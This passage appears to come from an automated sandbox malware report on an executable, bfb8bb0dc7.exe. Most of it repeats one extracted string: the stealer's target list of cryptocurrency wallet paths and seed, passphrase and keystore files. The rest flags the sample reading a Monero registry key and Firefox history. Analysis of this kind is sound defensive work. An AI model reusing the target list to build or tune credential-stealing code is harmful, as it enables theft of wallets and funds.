Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
